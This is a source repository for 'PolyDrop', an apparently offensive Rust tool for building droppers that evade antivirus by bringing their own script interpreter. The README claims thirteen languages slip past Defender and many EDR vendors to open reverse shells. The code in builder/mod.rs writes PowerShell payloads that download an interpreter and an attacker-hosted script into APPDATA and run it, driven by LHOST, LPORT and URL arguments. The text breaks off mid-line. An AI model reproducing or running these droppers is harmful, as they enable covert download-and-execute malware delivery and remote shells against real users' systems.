├── Cargo.toml ├── LICENSE ├── README.md └── src ├── builder ├── arguments │ └── mod.rs ├── defaults │ └── mod.rs ├── mod.rs ├── payloads │ └── mod.rs └── validate_urls │ ├── constants │ └── mod.rs │ ├── ext_to_os_payload_map │ └── mod.rs │ ├── github │ └── mod.rs │ ├── julia │ └── mod.rs │ ├── mod.rs │ └── python │ └── mod.rs └── main.rs /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "polydrop" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | clap = { version = "3.0", features = ["derive"] } 10 | reqwest = { version = "0.12.5", features = ["blocking"]} 11 | kuchiki = "0.8" 12 | url = "2.2" 13 | anyhow = "1.0" 14 | rand = "0.8" 15 | serde = { version = "1.0", features = ["derive"] } 16 | tokio = { version = "1", features = ["full"] } 17 | html5ever = "0.27.0" 18 | chrono = "0.4" 19 | serde_json = "1.0.120" 20 | colored = {version = "=2.0.0"} 21 | quick-xml = "0.23.0" 22 | lazy_static = "1.4.0" 23 | once_cell = "1.19.0" 24 | regex = "1.10.5" 25 | scraper = "0.19.1" 26 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BYOSI 2 | 3 | ## - Bring-Your-Own-Script-Interpreter 4 | 5 | ### - Leveraging the abuse of trusted applications, one is able to deliver a compatible script interpreter for a Windows, Mac, or Linux system as well as malicious source code in the form of the specific script interpreter of choice. Once both the malicious source code and the trusted script interpeter are safely written to the target system, one could simply execute said source code via the trusted script interpreter. 6 | 7 | # PolyDrop 8 | 9 | ## - Leverages thirteen scripting languages to perform the above attack. 10 | 11 | The following langues are wholly ignored by AV vendors including MS-Defender: 12 | - tcl 13 | - php 14 | - crystal 15 | - julia 16 | - golang 17 | - dart 18 | - dlang 19 | - vlang 20 | - nodejs 21 | - bun 22 | - python 23 | - fsharp 24 | - deno 25 | 26 | All of these languages were allowed to completely execute, and establish a reverse shell by MS-Defender. We assume the list is even longer, given that languages such as PHP are considered "dead" languages. 27 | 28 | 29 | ## - Currently undetectable by most mainstream Endpoint-Detection & Response vendors. 30 | 31 | The total number of vendors that are unable to scan or process just PHP file types is 14, and they are listed below: 32 | 33 | - Alibaba 34 | - Avast-Mobile 35 | - BitDefenderFalx 36 | - Cylance 37 | - DeepInstinct 38 | - Elastic 39 | - McAfee Scanner 40 | - Palo Alto Networks 41 | - SecureAge 42 | - SentinelOne (Static ML) 43 | - Symantec Mobile Insight 44 | - Trapmine 45 | - Trustlook 46 | - Webroot 47 | 48 | 49 | And the total number of vendors that are unable to accurately identify malicious PHP scripts is 54, and they are listed below: 50 | 51 | - Acronis (Static ML) 52 | - AhnLab-V3 53 | - ALYac 54 | - Antiy-AVL 55 | - Arcabit 56 | - Avira (no cloud) 57 | - Baidu 58 | - BitDefender 59 | - BitDefenderTheta 60 | - ClamAV 61 | - CMC 62 | - CrowdStrike Falcon 63 | - Cybereason 64 | - Cynet 65 | - DrWeb 66 | - Emsisoft 67 | - eScan 68 | - ESET-NOD32 69 | - Fortinet 70 | - GData 71 | - Gridinsoft (no cloud) 72 | - Jiangmin 73 | - K7AntiVirus 74 | - K7GW 75 | - Kaspersky 76 | - Lionic 77 | - Malwarebytes 78 | - MAX 79 | - MaxSecure 80 | - NANO-Antivirus 81 | - Panda 82 | - QuickHeal 83 | - Sangfor Engine Zero 84 | - Skyhigh (SWG) 85 | - Sophos 86 | - SUPERAntiSpyware 87 | - Symantec 88 | - TACHYON 89 | - TEHTRIS 90 | - Tencent 91 | - Trellix (ENS) 92 | - Trellix (HX) 93 | - TrendMicro 94 | - TrendMicro-HouseCall 95 | - Varist 96 | - VBA32 97 | - VIPRE 98 | - VirIT 99 | - ViRobot 100 | - WithSecure 101 | - Xcitium 102 | - Yandex 103 | - Zillya 104 | - ZoneAlarm by Check Point 105 | - Zoner 106 | 107 | With this in mind, and the absolute shortcomings on identifying PHP based malware we came up with the theory that the 13 identified languages are also an oversight by these vendors, including CrowdStrike, Sentinel1, Palo Alto, Fortinet, etc. 108 | We have been able to identify that at the very least Defender considers these obviously malicious payloads as plaintext. 109 | 110 | ## Disclaimer 111 | 112 | We as the maintainers, are in no way responsible for the misuse or abuse of this product. This was published for legitimate penetration testing/red teaming purposes, and for educational value. Know the applicable laws in your country of residence before using this script, and do not break the law whilst using this. Thank you and have a nice day. 113 | 114 | ## EDIT 115 | 116 | In case you are seeing all of the default declarations, and wondering wtf guys. There is a reason; this was built to be more moduler for later versions. For now, enjoy the tool and feel free to post issues. They'll be addressed as quickly as possible. 117 | -------------------------------------------------------------------------------- /src/builder/arguments/mod.rs: -------------------------------------------------------------------------------- 1 | use clap::{arg, App, Arg}; 2 | struct ArgOptions { 3 | output: String, 4 | os: String, 5 | lang: String, 6 | payload: String, 7 | all: bool, 8 | lhost: String, 9 | lport: String, 10 | url: String, 11 | ldl: String, 12 | } 13 | 14 | impl ArgOptions { 15 | fn new( 16 | otpt: &str, 17 | ops: &str, 18 | lng: &str, 19 | pl: &str, 20 | todos: bool, 21 | lhst: &str, 22 | lprt: &str, 23 | rl: &str, 24 | ldl: &str, 25 | ) -> ArgOptions { 26 | ArgOptions { 27 | output: otpt.to_string(), 28 | os: ops.to_string(), 29 | lang: lng.to_string(), 30 | payload: pl.to_string(), 31 | all: todos, 32 | lhost: lhst.to_string(), 33 | lport: lprt.to_string(), 34 | url: rl.to_string(), 35 | ldl: ldl.to_string(), 36 | } 37 | } 38 | } 39 | 40 | pub fn getargs() -> String { 41 | let args = App::new("PolyDrop") 42 | .version("0.1.0") 43 | .about("Description: BYOSI (Bring-Your-Own-Script-Interpreter) Rapid Payload Deployment") 44 | .author("Author: The Malware Support Group") 45 | .usage("./polydrop -x -s -t -o -l/--lhost -p/--lport -u/--url -z/--lang-download ") 46 | .args(&[ 47 | Arg::new("OS-Option") 48 | .short('x') 49 | .takes_value(true) 50 | .help("Operating System: windows, linux, macos"), 51 | Arg::new("Script-Language") 52 | .short('s') 53 | .takes_value(true) 54 | .required(false) 55 | .help("Script Language: tcl, php, crystal, julia, golang, dart, dlang, vlang, nodejs, bun, python, fsharp, deno"), 56 | Arg::new("Payload-Type") 57 | .short('t') 58 | .takes_value(true) 59 | .help("Payload type: pwsh, sh"), 60 | Arg::new("Output") 61 | .short('o') 62 | .takes_value(true) 63 | .help("Output filename: "), 64 | Arg::new("All") 65 | .long("--all") 66 | .required(false) 67 | .takes_value(false) 68 | .help("All payloads written to one payload"), 69 | Arg::new("LHOST") 70 | .short('l') 71 | .long("--lhost") 72 | .required(true) 73 | .takes_value(true) 74 | .help("Listener Host: "), 75 | Arg::new("LPORT") 76 | .short('p') 77 | .long("--lport") 78 | .required(true) 79 | .takes_value(true) 80 | .help("Listener Port: "), 81 | Arg::new("URL") 82 | .short('u') 83 | .long("--url") 84 | .required(true) 85 | .takes_value(true) 86 | .help("Remote URL for Payload Download: "), 87 | Arg::new("LANG_DOWNLOAD") 88 | .short('z') 89 | .long("--lang-download") 90 | .required(false) 91 | .takes_value(true) 92 | .help("Optional argument for the specific toolchain to download.") 93 | ]).get_matches(); 94 | 95 | let allval; 96 | if args.is_present("All") { 97 | let (p, l, t, o, a, lh, lp, url) = ( 98 | args.value_of("OS-Option").unwrap(), 99 | "empty", 100 | args.value_of("Payload-Type").unwrap(), 101 | args.value_of("Output").unwrap(), 102 | args.values_of("All").is_some(), 103 | args.value_of("LHOST").unwrap(), 104 | args.value_of("LPORT").unwrap(), 105 | args.value_of("URL").unwrap(), 106 | ); 107 | let op = ArgOptions::new(o, p, l, t, a, lh, lp, url, ""); 108 | //println!("PolyDrop"); 109 | //println!("- BYOSI (Bring-Your-Own-Script-Interpreter) Rapid Payload Deployment"); 110 | //println!( 111 | // "OS: {}\nPayload Type: {}\nOutput: {}\n", 112 | // op.os, op.payload, op.output 113 | //); 114 | //println!( 115 | // "LHOST: {}\nLPORT: {}\nURL: {}\n", 116 | // op.lhost, op.lport, op.url 117 | //); 118 | //println!("All: {}\n", op.all); 119 | allval = "true"; 120 | return format!( 121 | "{} {} {} {} {} {} {} {}", 122 | op.os, op.lang, op.payload, op.output, allval, op.lhost, op.lport, op.url 123 | ); 124 | } else { 125 | let (p, l, t, o, a, lh, lp, url, ldl) = ( 126 | args.value_of("OS-Option").unwrap(), 127 | args.value_of("Script-Language").unwrap(), 128 | args.value_of("Payload-Type").unwrap(), 129 | args.value_of("Output").unwrap(), 130 | args.values_of("All").is_some(), 131 | args.value_of("LHOST").unwrap(), 132 | args.value_of("LPORT").unwrap(), 133 | args.value_of("URL").unwrap(), 134 | args.value_of("LANG_DOWNLOAD").unwrap_or(""), 135 | ); 136 | let op = ArgOptions::new(o, p, l, t, a, lh, lp, url, ldl); 137 | //println!("PolyDrop"); 138 | //println!("- BYOSI (Bring-Your-Own-Script-Interpreter) Rapid Payload Deployment"); 139 | //println!( 140 | // "OS: {}\nScript Language: {}\nPayload Type: {}\nOutput: {}\nLanguage Toolchain: {}\n", 141 | // op.os, op.lang, op.payload, op.output, op.ldl 142 | //); 143 | //println!( 144 | // "LHOST: {}\nLPORT: {}\nURL: {}\n", 145 | // op.lhost, op.lport, op.url 146 | //); 147 | allval = "false"; 148 | return format!( 149 | "{} {} {} {} {} {} {} {} {}", 150 | op.os, op.lang, op.payload, op.output, allval, op.lhost, op.lport, op.url, op.ldl 151 | ); 152 | } 153 | } 154 | -------------------------------------------------------------------------------- /src/builder/defaults/mod.rs: -------------------------------------------------------------------------------- 1 | use lazy_static::lazy_static; 2 | use std::collections::HashMap; 3 | 4 | lazy_static! { 5 | pub static ref WIN_DEFAULT_URLS: HashMap<&'static str, &'static str> = { 6 | let mut m = HashMap::new(); 7 | m.insert("tcl", "https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/tclkit/tclkitsh-8.5.9-win32-x86_64.zip"); 8 | m.insert( 9 | "php", 10 | "https://windows.php.net/downloads/releases/php-8.3.6-nts-Win32-vs16-x64.zip", 11 | ); 12 | m.insert("crystal", "https://github.com/crystal-lang/crystal/releases/download/1.12.1/crystal-1.12.1-windows-x86_64-msvc-unsupported.zip"); 13 | m.insert( 14 | "julia", 15 | "https://julialang-s3.julialang.org/bin/winnt/x64/1.10/julia-1.10.2-win64.zip", 16 | ); 17 | m.insert("golang", "https://go.dev/dl/go1.22.2.windows-amd64.zip"); 18 | m.insert("dart", "https://storage.googleapis.com/dart-archive/channels/stable/release/3.3.4/sdk/dartsdk-windows-x64-release.zip"); 19 | m.insert( 20 | "dlang", 21 | "https://downloads.dlang.org/releases/2.x/2.108.0/dmd.2.108.0.windows.zip", 22 | ); 23 | m.insert( 24 | "vlang", 25 | "https://github.com/vlang/v/releases/latest/download/v_windows.zip", 26 | ); 27 | m.insert( 28 | "nodejs", 29 | "https://nodejs.org/dist/v20.12.2/node-v20.12.2-win-x64.zip", 30 | ); 31 | m.insert( 32 | "bun", 33 | "https://github.com/oven-sh/bun/releases/download/bun-v1.1.18/bun-windows-x64.zip", 34 | ); 35 | m.insert( 36 | "python", 37 | "https://www.python.org/ftp/python/3.12.3/python-3.12.3-embed-amd64.zip", 38 | ); 39 | m.insert("fsharp", "https://download.visualstudio.microsoft.com/download/pr/bf435b42-3f28-45db-a666-6e95c4faefe7/23e0b703124347b51f53faf64c829287/dotnet-sdk-8.0.204-win-x64.zip"); 40 | m.insert("deno", "https://github.com/denoland/deno/releases/download/v1.45.1/deno-x86_64-pc-windows-msvc.zip"); 41 | m 42 | }; 43 | } 44 | 45 | lazy_static! { 46 | pub static ref LIN_DEFAULT_URLS: HashMap<&'static str, &'static str> = { 47 | let mut m = HashMap::new(); 48 | m.insert("tcl", "https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/tclkit/tclkitsh-8.5.9-linux-ix86.gz"); 49 | m.insert( 50 | "php", 51 | "https://dl.static-php.dev/static-php-cli/common/php-8.3.6-cli-linux-x86_64.tar.gz", 52 | ); 53 | m.insert("crystal", "https://github.com/crystal-lang/crystal/releases/download/1.12.1/crystal-1.12.1-1-linux-x86_64.tar.gz"); 54 | m.insert("julia", "https://julialang-s3.julialang.org/bin/linux/x64/1.10/julia-1.10.3-linux-x86_64.tar.gz"); 55 | m.insert("golang", "https://go.dev/dl/go1.22.3.linux-amd64.tar.gz"); 56 | m.insert("dart", "https://storage.googleapis.com/dart-archive/channels/stable/release/3.3.4/sdk/dartsdk-linux-x64-release.zip"); 57 | m.insert( 58 | "dlang", 59 | "https://downloads.dlang.org/releases/2.x/2.108.1/dmd.2.108.1.linux.zip", 60 | ); 61 | m.insert( 62 | "vlang", 63 | "https://github.com/vlang/v/releases/download/weekly.2024.19/v_linux.zip", 64 | ); 65 | m.insert( 66 | "nodejs", 67 | "https://nodejs.org/dist/v20.12.2/node-v20.12.2-linux-x64.tar.gz", 68 | ); 69 | m.insert( 70 | "bun", 71 | "https://github.com/oven-sh/bun/releases/download/bun-v1.1.18/bun-linux-x64.zip", 72 | ); 73 | m.insert("python", ""); 74 | m.insert("fsharp", "https://download.visualstudio.microsoft.com/download/pr/0a1b3cbd-b4af-4d0d-9ed7-0054f0e200b4/4bcc533c66379caaa91770236667aacb/dotnet-sdk-8.0.204-linux-x64.tar.gz"); 75 | m.insert("deno", "https://github.com/denoland/deno/releases/download/v1.45.1/deno-x86_64-unknown-linux-gnu.zip"); 76 | m 77 | }; 78 | } 79 | 80 | lazy_static! { 81 | pub static ref MAC_DEFAULT_URLS: HashMap<&'static str, &'static str> = { 82 | let mut m = HashMap::new(); 83 | m.insert("tcl", "https://tclkits.rkeene.org/fossil/raw/tclkit-8.6.3-macosx10.5-ix86+x86_64?name=1b4a7ae47ebab6ea9e0e16af4d8714c8b4aa0ce2"); 84 | m.insert( 85 | "php", 86 | "https://dl.static-php.dev/static-php-cli/common/php-8.3.6-cli-macos-x86_64.tar.gz", 87 | ); 88 | m.insert("crystal", "https://github.com/crystal-lang/crystal/releases/download/1.12.1/crystal-1.12.1-1-darwin-universal.tar.gz"); 89 | m.insert( 90 | "julia", 91 | "https://julialang-s3.julialang.org/bin/mac/x64/1.10/julia-1.10.3-mac64.tar.gz", 92 | ); 93 | m.insert("golang", "https://go.dev/dl/go1.22.3.darwin-arm64.tar.gz"); 94 | m.insert("dart", "https://storage.googleapis.com/dart-archive/channels/stable/release/3.3.4/sdk/dartsdk-macos-x64-release.zip"); 95 | m.insert( 96 | "dlang", 97 | "https://downloads.dlang.org/releases/2.x/2.108.1/dmd.2.108.1.osx.zip", 98 | ); 99 | m.insert( 100 | "vlang", 101 | "https://github.com/vlang/v/releases/download/weekly.2024.19/v_macos_x86_64.zip", 102 | ); 103 | m.insert( 104 | "nodejs", 105 | "https://nodejs.org/dist/v20.12.2/node-v20.12.2-darwin-x64.tar.gz", 106 | ); 107 | m.insert( 108 | "bun", 109 | "https://github.com/oven-sh/bun/releases/download/bun-v1.1.18/bun-darwin-x64.zip", 110 | ); 111 | m.insert("python", ""); 112 | m.insert("fsharp", "https://download.visualstudio.microsoft.com/download/pr/9548c95b-8495-4b69-b6f0-1fdebdbbf9ff/30827786409718c5a9604711661da3b5/dotnet-sdk-8.0.204-osx-x64.tar.gz"); 113 | m.insert("deno", "https://github.com/denoland/deno/releases/download/v1.45.1/deno-x86_64-apple-darwin.zip"); 114 | m 115 | }; 116 | } 117 | 118 | lazy_static! { 119 | pub static ref OS_TO_DOWNLOAD_HASHMAP: HashMap<&'static str, &'static HashMap<&'static str, &'static str>> = { 120 | let mut m = HashMap::new(); 121 | m.insert("windows", &*WIN_DEFAULT_URLS); 122 | m.insert("linux", &*LIN_DEFAULT_URLS); 123 | m.insert("mac", &*MAC_DEFAULT_URLS); 124 | m 125 | }; 126 | } 127 | -------------------------------------------------------------------------------- /src/builder/mod.rs: -------------------------------------------------------------------------------- 1 | use std::fs::OpenOptions; 2 | use std::io::Write; 3 | use defaults::OS_TO_DOWNLOAD_HASHMAP; 4 | pub mod arguments; 5 | pub mod defaults; 6 | pub mod payloads; 7 | pub mod validate_urls; 8 | 9 | fn get_lang_dl(lang: &str, platform: &str) -> Option<&'static str> { 10 | // Access the appropriate OS's download map 11 | if let Some(os_map) = OS_TO_DOWNLOAD_HASHMAP.get(platform) { 12 | // Access the language-specific URL within the OS map 13 | if let Some(url) = os_map.get(lang) { 14 | Some(url) 15 | } else { 16 | println!("No default download URL found for the given language."); 17 | None 18 | } 19 | } else { 20 | println!("No default download URL found for the given platform."); 21 | None 22 | } 23 | } 24 | 25 | pub fn payload_builder( 26 | platform: &str, 27 | language: &str, 28 | payload: &str, 29 | output: &str, 30 | allarg: &str, 31 | lhostarg: &str, 32 | lportarg: &str, 33 | urlarg: &str, 34 | ) { 35 | if platform == "windows" { 36 | 37 | let tcl_payload = format!("wget {} -O $env:APPDATA\\tclkitsh8.zip\nExpand-Archive -Path $env:APPDATA\\tclkitsh8.zip -DestinationPath $env:APPDATA\\tclkitsh8\nwget {}{}.tcl -O $env:APPDATA\\{}.tcl\n& \"$env:APPDATA\\tclkitsh8\\tclkitsh-8.5.9-win32-x86_64.exe\" @('$env:APPDATA\\{}.tcl')\n", &get_lang_dl("tcl", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 38 | let php_payload = format!("wget {} -O $env:APPDATA\\php8.zip\nExpand-Archive -Path $env:APPDATA\\php8.zip -DestinationPath $env:APPDATA\\php8\nwget {}{}.php -O $env:APPDATA\\{}.php\n& \"$env:APPDATA\\php8\\\\php.exe\" @('$env:APPDATA\\{}.php')\n", &get_lang_dl("php", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 39 | let crystal_payload = format!("wget {} -O $env:APPDATA\\crystalmethod.zip\nExpand-Archive -Path $env:APPDATA\\crystalmethod.zip -DestinationPath $env:APPDATA\\crystalmethod\nwget {}{}.cr -O $env:APPDATA\\{}.cr\n& \"$env:APPDATA\\crystalmethod\\\\crystal.exe\" @('run', '$env:APPDATA\\{}.cr')\n", &get_lang_dl("crystal", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 40 | let julia_payload = format!("wget {} -O $env:APPDATA\\juliachilds.zip\nExpand-Archive -Path $env:APPDATA\\juliachilds.zip -DestinationPath $env:APPDATA\\juliachilds\nwget {}{}.jl -O $env:APPDATA\\juliachilds\\\\{}.jl\n& \"$env:APPDATA\\juliachilds\\\\julia-1.10.2\\\\bin\\\\julia.exe\" @('$env:APPDATA\\juliachilds\\{}.jl')\n", &get_lang_dl("julia", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 41 | let go_payload = format!("wget {} -O $env:APPDATA\\go1.22.zip\nExpand-Archive -Path $env:APPDATA\\go.1.22.zip -DestinationPath $env:APPDATA\\go1.22\nwget {}{}.go -O $env:APPDATA\\{}.go\n& \"$env:APPDATA\\go1.22\\\\go\\\\bin\\\\go.exe\" @('run', '$env:APPDATA\\{}.go')\n", &get_lang_dl("golang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 42 | let dart_payload = format!("wget {} -O $env:APPDATA\\dartwingduck.zip\nExpand-Archive -Path $env:APPDATA\\dartwingduck.zip -DestinationPath $env:APPDATA\\dartwingduck\nwget {}{}.dart -O $env:APPDATA\\dartwingduck\\\\{}.dart\n& \"$env:APPDATA\\dartwingduck\\\\dart-sdk\\\\bin\\\\dart.exe\" @('$env:APPDATA\\dartwingduck\\{}.dart')\n", &get_lang_dl("dart", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 43 | let d_payload = format!("wget {} -O $env:APPDATA\\deeznuts.zip\nExpand-Archive -Path $env:APPDATA\\deeznuts.zip -DestinationPath $env:APPDATA\\deeznuts\nwget {}{}.d -O $env:APPDATA\\deeznuts\\\\{}.d\n& \"$env:APPDATA\\deeznuts\\\\dmd2\\\\windows\\\\bin64\\\\dmd.exe\" @('$env:APPDATA\\deeznuts\\{}.d')\n", &get_lang_dl("dlang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 44 | let v_payload = format!("wget {} -O $env:APPDATA\\vendetta.zip\nExpand-Archive -Path $env:APPDATA\\vendetta.zip -DestinationPath $env:APPDATA\\vendetta\nwget {}{}.v -O $env:APPDATA\\vendetta\\\\{}.v\n& \"$env:APPDATA\\vendetta\\\\v\\\\v.exe\" @('run', '$env:APPDATA\\vendetta\\{}.v')\n", &get_lang_dl("vlang", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 45 | let node_payload = format!("wget {} -O $env:APPDATA\\noodles.zip\nExpand-Archive -Path $env:APPDATA\\noodles.zip -DestinationPath $env:APPDATA\\noodles\nwget {}{}.js -O $env:APPDATA\\{}.js\n& \"$env:APPDATA\\noodles\\\\node-v20.12.2-win-x64\\\\node.exe\" @('$env:APPDATA\\noodles\\{}.js')\n", &get_lang_dl("nodejs", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 46 | let bun_payload = format!("wget {} -O $env:APPDATA\\bun.zip\nExpand-Archive -Path $env:APPDATA\\bun.zip -DestinationPath $env:APPDATA\nwget {}/{}.tsx -O $env:APPDATA\\{}.tsx\n& \"$env:APPDATA\\bun-windows-x64\\bun.exe\" @('run', \"$env:APPDATA\\{}.tsx\")\n", &get_lang_dl("bun", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 47 | let python_payload = format!("wget {} -O $env:APPDATA\\python3.zip\nExpand-Archive -Path $env:APPDATA\\python3.zip -DestinationPath $env:APPDATA\\python3\nwget {}{}.py -O $env:APPDATA\\python3\\\\{}.py\n& \"$env:APPDATA\\python3\\\\python.exe\" @('$env:APPDATA\\python3\\{}.py')\n", &get_lang_dl("python", platform).unwrap().to_string(), &urlarg, &output, &output, &output); 48 | let fsharp_payload = format!("wget {} -O 